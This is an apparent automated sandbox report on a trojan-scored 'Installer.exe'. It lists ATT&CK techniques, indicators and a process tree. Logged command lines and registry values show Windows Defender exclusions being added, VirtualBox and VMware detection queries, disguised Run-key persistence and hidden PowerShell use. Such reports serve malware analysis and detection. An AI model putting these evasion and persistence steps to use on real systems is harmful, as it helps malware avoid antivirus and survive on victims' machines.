f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c

Analysis

max time kernel
149s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/07/2026, 04:15

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Installer.exe
Size 168.1MB
Sample260704-evmtbsaz2x
SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
MD5 df2352fff1deec3d9690c5957093130e
SHA1 1eefade8d8bc0b9f7bf1807e9b376340e8aa907c
SHA512 d5c98a909df656a48b7c389776578ce0886a544ebe0e5d5884a02f39f5780289e1deba7397941ff6839dc45a028abcd7f6c6656d3e9838d4aad2ef4d229f54fd
SSDEEP 1572864:wgRMg/aKxl4b7qCDQtjovZT78wLF2pArKgDz6ObiISXD+Dyj3eRalD2kGpTe/2Hk:cg/geeFXzGa9Fz
TLSH
T144887B03E2DA50D9F05DD1B18B979633EA72B84A4728B6DF265407162F77EE02B3DB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 18 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_2.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\component_1.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Installer.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\component_2.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.exe = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions\.tmp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138765207\component_1.exe = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
25	2716	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3624	powershell.exe
5880	powershell.exe
2512	powershell.exe
5024	powershell.exe
6112	powershell.exe
5024	powershell.exe
5880	powershell.exe
1664	powershell.exe
2716	powershell.exe
1164	powershell.exe
2596	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 3 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMTools	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VMMEMCTL	reg.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	rundll32.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.exe	component_1.exe

Executes dropped EXE 15 IoCs

pid	Process
2668	component_1.exe
5000	RuntimeBroker.exe
5928	RuntimeBroker.exe
4488	HealthService.exe
1900	component_1.exe
5836	component_1.exe
4104	component_1.exe
1936	component_1.exe
2456	component_1.exe
2592	component_2.exe
4812	component_2.exe
3948	component_2.exe
2276	component_2.exe
5352	component_2.exe
6000	component_2.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
3204	cmd.exe
4596	cmd.exe

System Binary Proxy Execution: Rundll32 1 TTPs 4 IoCs

Abuse Rundll32 to proxy execution of malicious code.

defense_evasion

Rundll32

T1218.011

pid	Process
6056	rundll32.exe
5468	cmd.exe
1776	rundll32.exe
3440	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Security\\Health\\HealthService.exe"	component_1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\RuntimeBroker\\RuntimeBroker.exe"	component_1.exe

Hide Artifacts: Hidden Window 1 TTPs 5 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
3204	cmd.exe
4060	cmd.exe
4596	cmd.exe
4672	cmd.exe
2596	cmd.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	api.ipify.org
28	api.ipify.org

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
1824	tasklist.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3204	cmd.exe
4596	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	Installer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	Installer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	Installer.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1172	WMIC.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2792	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5000	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
1164	powershell.exe
1164	powershell.exe
2596	powershell.exe
2596	powershell.exe
1664	powershell.exe
1664	powershell.exe
2716	powershell.exe
2716	powershell.exe
2716	powershell.exe
5448	powershell.exe
5448	powershell.exe
5448	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
5880	powershell.exe
5880	powershell.exe
5880	powershell.exe
2512	powershell.exe
2512	powershell.exe
2512	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
6112	powershell.exe
6112	powershell.exe
6112	powershell.exe
5000	RuntimeBroker.exe
5000	RuntimeBroker.exe
4576	Installer.exe
4576	Installer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2840	WMIC.exe
Token: SeSecurityPrivilege	2840	WMIC.exe
Token: SeTakeOwnershipPrivilege	2840	WMIC.exe
Token: SeLoadDriverPrivilege	2840	WMIC.exe
Token: SeSystemProfilePrivilege	2840	WMIC.exe
Token: SeSystemtimePrivilege	2840	WMIC.exe
Token: SeProfSingleProcessPrivilege	2840	WMIC.exe
Token: SeIncBasePriorityPrivilege	2840	WMIC.exe
Token: SeCreatePagefilePrivilege	2840	WMIC.exe
Token: SeBackupPrivilege	2840	WMIC.exe
Token: SeRestorePrivilege	2840	WMIC.exe
Token: SeShutdownPrivilege	2840	WMIC.exe
Token: SeDebugPrivilege	2840	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2840	WMIC.exe
Token: SeRemoteShutdownPrivilege	2840	WMIC.exe
Token: SeUndockPrivilege	2840	WMIC.exe
Token: SeManageVolumePrivilege	2840	WMIC.exe
Token: 33	2840	WMIC.exe
Token: 34	2840	WMIC.exe
Token: 35	2840	WMIC.exe
Token: 36	2840	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2840	WMIC.exe
Token: SeSecurityPrivilege	2840	WMIC.exe
Token: SeTakeOwnershipPrivilege	2840	WMIC.exe
Token: SeLoadDriverPrivilege	2840	WMIC.exe
Token: SeSystemProfilePrivilege	2840	WMIC.exe
Token: SeSystemtimePrivilege	2840	WMIC.exe
Token: SeProfSingleProcessPrivilege	2840	WMIC.exe
Token: SeIncBasePriorityPrivilege	2840	WMIC.exe
Token: SeCreatePagefilePrivilege	2840	WMIC.exe
Token: SeBackupPrivilege	2840	WMIC.exe
Token: SeRestorePrivilege	2840	WMIC.exe
Token: SeShutdownPrivilege	2840	WMIC.exe
Token: SeDebugPrivilege	2840	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2840	WMIC.exe
Token: SeRemoteShutdownPrivilege	2840	WMIC.exe
Token: SeUndockPrivilege	2840	WMIC.exe
Token: SeManageVolumePrivilege	2840	WMIC.exe
Token: 33	2840	WMIC.exe
Token: 34	2840	WMIC.exe
Token: 35	2840	WMIC.exe
Token: 36	2840	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5148	WMIC.exe
Token: SeSecurityPrivilege	5148	WMIC.exe
Token: SeTakeOwnershipPrivilege	5148	WMIC.exe
Token: SeLoadDriverPrivilege	5148	WMIC.exe
Token: SeSystemProfilePrivilege	5148	WMIC.exe
Token: SeSystemtimePrivilege	5148	WMIC.exe
Token: SeProfSingleProcessPrivilege	5148	WMIC.exe
Token: SeIncBasePriorityPrivilege	5148	WMIC.exe
Token: SeCreatePagefilePrivilege	5148	WMIC.exe
Token: SeBackupPrivilege	5148	WMIC.exe
Token: SeRestorePrivilege	5148	WMIC.exe
Token: SeShutdownPrivilege	5148	WMIC.exe
Token: SeDebugPrivilege	5148	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5148	WMIC.exe
Token: SeRemoteShutdownPrivilege	5148	WMIC.exe
Token: SeUndockPrivilege	5148	WMIC.exe
Token: SeManageVolumePrivilege	5148	WMIC.exe
Token: 33	5148	WMIC.exe
Token: 34	5148	WMIC.exe
Token: 35	5148	WMIC.exe
Token: 36	5148	WMIC.exe
Token: SeShutdownPrivilege	4576	Installer.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4576	Installer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4576 wrote to memory of 4908	4576	Installer.exe	86
PID 4576 wrote to memory of 1536	4576	Installer.exe	87
PID 1536 wrote to memory of 2116	1536	cmd.exe	89
PID 2116 wrote to memory of 1404	2116	net.exe	90
PID 4576 wrote to memory of 1612	4576	Installer.exe	91
PID 4576 wrote to memory of 2848	4576	Installer.exe	92
PID 4576 wrote to memory of 5104	4576	Installer.exe	93
PID 5104 wrote to memory of 2840	5104	cmd.exe	96
PID 4576 wrote to memory of 3016	4576	Installer.exe	98
PID 3016 wrote to memory of 5148	3016	cmd.exe	100
PID 4576 wrote to memory of 3312	4576	Installer.exe	101
PID 3312 wrote to memory of 2016	3312	cmd.exe	103
PID 4576 wrote to memory of 3304	4576	Installer.exe	105
PID 3304 wrote to memory of 5788	3304	cmd.exe	107
PID 4576 wrote to memory of 1584	4576	Installer.exe	108
PID 1584 wrote to memory of 2480	1584	cmd.exe	110
PID 4576 wrote to memory of 4108	4576	Installer.exe	111
PID 4108 wrote to memory of 1532	4108	cmd.exe	113
PID 4576 wrote to memory of 1712	4576	Installer.exe	114
PID 1712 wrote to memory of 2212	1712	cmd.exe	116
PID 4576 wrote to memory of 5912	4576	Installer.exe	117
PID 5912 wrote to memory of 1676	5912	cmd.exe	119
PID 4576 wrote to memory of 5552	4576	Installer.exe	120
PID 5552 wrote to memory of 3892	5552	cmd.exe	122
PID 4576 wrote to memory of 3516	4576	Installer.exe	123
PID 3516 wrote to memory of 1080	3516	cmd.exe	125
PID 4576 wrote to memory of 5672	4576	Installer.exe	126
PID 5672 wrote to memory of 2176	5672	cmd.exe	128
PID 4576 wrote to memory of 4804	4576	Installer.exe	129
PID 4804 wrote to memory of 4812	4804	cmd.exe	131
PID 4576 wrote to memory of 3672	4576	Installer.exe	132
PID 3672 wrote to memory of 5756	3672	cmd.exe	134
PID 4576 wrote to memory of 5964	4576	Installer.exe	135
PID 5964 wrote to memory of 1152	5964	cmd.exe	137
PID 4576 wrote to memory of 5600	4576	Installer.exe	138
PID 5600 wrote to memory of 1984	5600	cmd.exe	140
PID 4576 wrote to memory of 2220	4576	Installer.exe	141
PID 2220 wrote to memory of 6108	2220	cmd.exe	143
PID 4576 wrote to memory of 2268	4576	Installer.exe	144
PID 2268 wrote to memory of 1088	2268	cmd.exe	146
PID 4576 wrote to memory of 3416	4576	Installer.exe	147
PID 3416 wrote to memory of 1044	3416	cmd.exe	149
PID 4576 wrote to memory of 1516	4576	Installer.exe	150
PID 1516 wrote to memory of 1824	1516	cmd.exe	152
PID 4576 wrote to memory of 1992	4576	Installer.exe	153
PID 1992 wrote to memory of 1172	1992	cmd.exe	155
PID 4576 wrote to memory of 4328	4576	Installer.exe	156
PID 4328 wrote to memory of 1912	4328	cmd.exe	158
PID 4576 wrote to memory of 3916	4576	Installer.exe	159
PID 3916 wrote to memory of 2952	3916	cmd.exe	161
PID 4576 wrote to memory of 2600	4576	Installer.exe	162
PID 2600 wrote to memory of 4044	2600	cmd.exe	164
PID 4576 wrote to memory of 4316	4576	Installer.exe	165
PID 4316 wrote to memory of 3028	4316	cmd.exe	167
PID 4576 wrote to memory of 4708	4576	Installer.exe	168
PID 4708 wrote to memory of 5956	4708	cmd.exe	170
PID 4576 wrote to memory of 5432	4576	Installer.exe	171
PID 5432 wrote to memory of 4348	5432	cmd.exe	173
PID 4576 wrote to memory of 4384	4576	Installer.exe	174
PID 4384 wrote to memory of 1692	4384	cmd.exe	176
PID 4576 wrote to memory of 4568	4576	Installer.exe	177
PID 4568 wrote to memory of 1164	4568	cmd.exe	180
PID 4576 wrote to memory of 2604	4576	Installer.exe	182
PID 2604 wrote to memory of 2596	2604	cmd.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\Installer.exe"
1⤵
- Checks computer location settings
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4576
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1692 --field-trial-handle=1696,i,12195745078077107745,189317494558866814,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
  2⤵
  PID:4908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1404
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1900 --field-trial-handle=1696,i,12195745078077107745,189317494558866814,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
  2⤵
  PID:1612
- C:\Users\Admin\AppData\Local\Temp\Installer.exe
  "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2244 --field-trial-handle=1696,i,12195745078077107745,189317494558866814,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
  2⤵
  - Checks computer location settings
  PID:2848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get manufacturer,product,serialnumber /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get manufacturer,product,serialnumber /format:list
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic systemenclosure get manufacturer,chassistypes /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic systemenclosure get manufacturer,chassistypes /format:list
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid /format:list
    3⤵
    PID:2016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:5788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:2480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4108
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
    3⤵
    PID:1532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:2212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\FADT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5912
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\FADT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:1676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\RSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5552
- - C:\Windows\system32\reg.exe
    reg query "HKLM\HARDWARE\ACPI\RSDT\VBOX__"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    PID:3892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:1080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5672
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:2176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:4812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:5756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMTools""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5964
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMTools"
    3⤵
    - Looks for VMWare services registry key.
    PID:1152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5600
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    - Looks for VMWare services registry key.
    PID:1984
